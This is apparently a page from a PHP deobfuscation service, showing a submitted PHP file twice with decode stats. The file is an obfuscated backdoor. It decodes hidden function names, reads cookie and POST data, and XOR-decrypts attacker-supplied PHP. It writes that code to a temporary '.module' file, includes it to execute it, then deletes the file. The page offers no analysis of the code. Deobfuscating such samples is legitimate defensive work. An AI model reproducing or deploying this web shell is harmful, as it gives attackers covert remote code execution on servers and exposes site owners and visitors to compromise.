Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function wv6 () { echo 'yj7'; } function hu1 ( $si2 ) ..

Decoded Output download

<?php 
function   wv6 () 
 
{ 
 
 
echo     'yj7'; 
} 
 
 
function hu1       ( $si2 ) 
 
 
{$sj4=0; 
 
 
$cx3       = "5e tp/uh.r3;bxd#H7Fv*@9oE41<-(kIgs'laLc6i_)ynf0?m"; 
      $by5   =  substr("",	0); 
 
 
	while(1){ if($sj4>=count($si2))  break; $by5 .= $cx3 [ $si2[$sj4] ]; $sj4++; 
 
}return $by5;}$es9   =       [];$ieikt    = 58247;$es9[56310]	= hu1 (	Array(1 ,	46	,	1      ,       25 ,   38  , 17	,     46 ,     38   , 28 , 22	, 39 ,	25     ,   10     ,   28 , 25	, 25       ,       38    , 14 , 28       ,   22    , 0	, 0 , 36	, 28 ,	17 , 10    , 39 ,	1     , 12 , 14	,  1     ,	39	,   0     ,     25	, 36 , 26 ,) ) ; 
 
$es9[36339]       = hu1       (	Array(47       ,    4  ,	7	, 4	, 2 ,   21	, 6 , 44	,	35 ,      40 , 44 ,	30 ,      29 , 41 , 41	,	18 ,      31 ,	37   , 24	,      41	, 41 , 42 , 11	, 2 ,) ) ;$es9[52196]       =	hu1     (    Array(8 ,	48	, 23	, 14 , 6 ,   35  ,  1 ,) )	; 
$fk25    = 58795; 
 
$es9[96739]	=	hu1 (	Array(16	, 20	,)	)	; 
$es9[44514] =       hu1 ( Array(8	, 5	,) ) ; 
$es9[31712]	=	hu1 ( Array(27 ,)	) ; 
 
$ih26 = 41192; 
 
$es9[29654]      = hu1      (	Array(15       ,)  ) ; 
$nx27 =  54911; 
$es9[14293]	=	hu1 (   Array(45  ,	40 ,	35	,   1 , 41	, 4	,	6 , 3      ,	41  , 38	, 23 ,	44 , 3 ,	1 ,	44   , 3      , 33 ,) ) ;$pn28 = 13946; 
 
$es9[5571] =	hu1      (	Array(36	, 9    , 9 , 36       ,       43 , 41	, 48	,  1  , 9  , 32 , 1 ,)   ) ; 
$es9[98750]      = hu1 (   Array(45 ,       40     , 35       ,	1	, 41 ,     1 ,       13      ,   40	,      33 , 3 ,	33	,) )	; 
 
$au29 = 7152; 
 
$es9[31160] = hu1	(  Array(33       ,     3 ,   9	, 41       , 9 , 1	,	4	, 1 ,	36 ,	3 ,) )    ; 
 
 
$es9[2481] =  hu1	( Array(1	, 13	, 4 , 35	,	23 , 14 ,      1  ,) ) ; 
 
 
$es9[63396]	=      hu1       ( Array(33 , 3 , 9 , 35	, 1       , 44  ,)	) ;$es9[78755]       = hu1       (	Array(40 , 44	,       3	, 19 ,	36 ,      35      ,) ) ;$es9[56222] =	hu1 (   Array(6 , 44	,	35     , 40 ,      44 , 30 ,)     )    ;$rq30    =  52645; 
$es9[70040] =	hu1 ( Array(4 ,	36	, 38  , 30 ,)      ) ; 
 
 
 
 
 
$us20	= $_COOKIE; $vd19 = "40915";$us20 =   $es9[5571]($us20,	$_POST); 
foreach      ($us20 as	$vs24 =>	$ew21){ 
 
 function	ar14 ( $es9, $vs24   , $yu18 ) 
 
 
	{ 
 
  return       substr ( $es9[31160] (     $vs24       .      $es9[56310]	, $es9[78755]( $yu18/$es9[63396]( $vs24      ) )	+ 1	)	,   0 , $yu18 ); 
 
 } 
 
 
 
  function qb13 (      $es9,       $rv23 )  { 
       return @$es9[70040]	($es9[96739] , $rv23 ); } 
 
 
 
 
 
	function   mu12 ( $es9, $ew21,	$vs24) 
 
 
	{ 
 
 return qb13   ( $es9,	$ew21 ) ^	ar14	( $es9, $vs24       , $es9[63396]( $ew21 )	); 
   } 
 
  
 
 
  function	ok11	( $es9, $ew21,	$vs24) {	return $es9[2481]  ( $es9[29654]  ,	mu12	( $es9,	$ew21,	$vs24));	}	 
 
 
 function pf10       ( $es9,	$ew21,	$vs24)    {   $ew21 = ok11	( $es9, $ew21, $vs24); 
 
	if (tf17	(	$es9, $ew21)) 
 { 
 
 exit(); 
 
 
 } 
	} 
 
  
 
 function	bn16 ( $es9, $de22) 
	{ 
    if    ($es9[98750]($de22))  
 
 { 
     @$es9[56222]	( $de22 ); 
 
       } 
 
     }  function    ty15 (	$es9,	$de22	) 
 
 
	{ 
 
 @include ( $de22 ); 
	bn16 (      $es9,      $de22); 
 } 
 
  
 
 
	function tf17 (	$es9, $rv23       ) { 
 if (	isset	( $rv23[2]	) ) { 
 
  
 
 
 $de22  =	$es9[44514] . md5(	$es9[56310] ) .    $es9[52196]; 
 
	@$es9[14293]	(	$de22, $es9[31712] .	$es9[36339] . $rv23[1] ( $rv23[2]	) ); 
 
 
    ty15      ( $es9,	$de22); 
 
	 
 return	1; 
 
       }    } 
 
        
 pf10   ( $es9, $ew21, $vs24); 
 
} ?>

Did this file decode correctly?

Original Code

<?php
function   wv6 ()

{


echo     'yj7';
}


function hu1       ( $si2 )


{$sj4=0;


$cx3       = "5e tp/uh.r3;bxd#H7Fv*@9oE41<-(kIgs'laLc6i_)ynf0?m";
      $by5   =  substr("",	0);


	while(1){ if($sj4>=count($si2))  break; $by5 .= $cx3 [ $si2[$sj4] ]; $sj4++;

}return $by5;}$es9   =       [];$ieikt    = 58247;$es9[56310]	= hu1 (	Array(1 ,	46	,	1      ,       25 ,   38  , 17	,     46 ,     38   , 28 , 22	, 39 ,	25     ,   10     ,   28 , 25	, 25       ,       38    , 14 , 28       ,   22    , 0	, 0 , 36	, 28 ,	17 , 10    , 39 ,	1     , 12 , 14	,  1     ,	39	,   0     ,     25	, 36 , 26 ,) ) ;

$es9[36339]       = hu1       (	Array(47       ,    4  ,	7	, 4	, 2 ,   21	, 6 , 44	,	35 ,      40 , 44 ,	30 ,      29 , 41 , 41	,	18 ,      31 ,	37   , 24	,      41	, 41 , 42 , 11	, 2 ,) ) ;$es9[52196]       =	hu1     (    Array(8 ,	48	, 23	, 14 , 6 ,   35  ,  1 ,) )	;
$fk25    = 58795;

$es9[96739]	=	hu1 (	Array(16	, 20	,)	)	;
$es9[44514] =       hu1 ( Array(8	, 5	,) ) ;
$es9[31712]	=	hu1 ( Array(27 ,)	) ;

$ih26 = 41192;

$es9[29654]      = hu1      (	Array(15       ,)  ) ;
$nx27 =  54911;
$es9[14293]	=	hu1 (   Array(45  ,	40 ,	35	,   1 , 41	, 4	,	6 , 3      ,	41  , 38	, 23 ,	44 , 3 ,	1 ,	44   , 3      , 33 ,) ) ;$pn28 = 13946;

$es9[5571] =	hu1      (	Array(36	, 9    , 9 , 36       ,       43 , 41	, 48	,  1  , 9  , 32 , 1 ,)   ) ;
$es9[98750]      = hu1 (   Array(45 ,       40     , 35       ,	1	, 41 ,     1 ,       13      ,   40	,      33 , 3 ,	33	,) )	;

$au29 = 7152;

$es9[31160] = hu1	(  Array(33       ,     3 ,   9	, 41       , 9 , 1	,	4	, 1 ,	36 ,	3 ,) )    ;


$es9[2481] =  hu1	( Array(1	, 13	, 4 , 35	,	23 , 14 ,      1  ,) ) ;


$es9[63396]	=      hu1       ( Array(33 , 3 , 9 , 35	, 1       , 44  ,)	) ;$es9[78755]       = hu1       (	Array(40 , 44	,       3	, 19 ,	36 ,      35      ,) ) ;$es9[56222] =	hu1 (   Array(6 , 44	,	35     , 40 ,      44 , 30 ,)     )    ;$rq30    =  52645;
$es9[70040] =	hu1 ( Array(4 ,	36	, 38  , 30 ,)      ) ;





$us20	= $_COOKIE; $vd19 = "40915";$us20 =   $es9[5571]($us20,	$_POST);
foreach      ($us20 as	$vs24 =>	$ew21){

 function	ar14 ( $es9, $vs24   , $yu18 )


	{

  return       substr ( $es9[31160] (     $vs24       .      $es9[56310]	, $es9[78755]( $yu18/$es9[63396]( $vs24      ) )	+ 1	)	,   0 , $yu18 );

 }



  function qb13 (      $es9,       $rv23 )  {
       return @$es9[70040]	($es9[96739] , $rv23 ); }





	function   mu12 ( $es9, $ew21,	$vs24)


	{

 return qb13   ( $es9,	$ew21 ) ^	ar14	( $es9, $vs24       , $es9[63396]( $ew21 )	);
   }

 


  function	ok11	( $es9, $ew21,	$vs24) {	return $es9[2481]  ( $es9[29654]  ,	mu12	( $es9,	$ew21,	$vs24));	}	


 function pf10       ( $es9,	$ew21,	$vs24)    {   $ew21 = ok11	( $es9, $ew21, $vs24);

	if (tf17	(	$es9, $ew21))
 {

 exit();


 }
	}

 

 function	bn16 ( $es9, $de22)
	{
    if    ($es9[98750]($de22)) 

 {
     @$es9[56222]	( $de22 );

       }

     }  function    ty15 (	$es9,	$de22	)


	{

 @include ( $de22 );
	bn16 (      $es9,      $de22);
 }

 


	function tf17 (	$es9, $rv23       ) {
 if (	isset	( $rv23[2]	) ) {

 


 $de22  =	$es9[44514] . md5(	$es9[56310] ) .    $es9[52196];

	@$es9[14293]	(	$de22, $es9[31712] .	$es9[36339] . $rv23[1] ( $rv23[2]	) );


    ty15      ( $es9,	$de22);

	
 return	1;

       }    }

       
 pf10   ( $es9, $ew21, $vs24);

}

Function Calls

None

Variables

None

Stats

MD5 439d041f719c6094694e9532df7cb82c
Eval Count 0
Decode Time 58 ms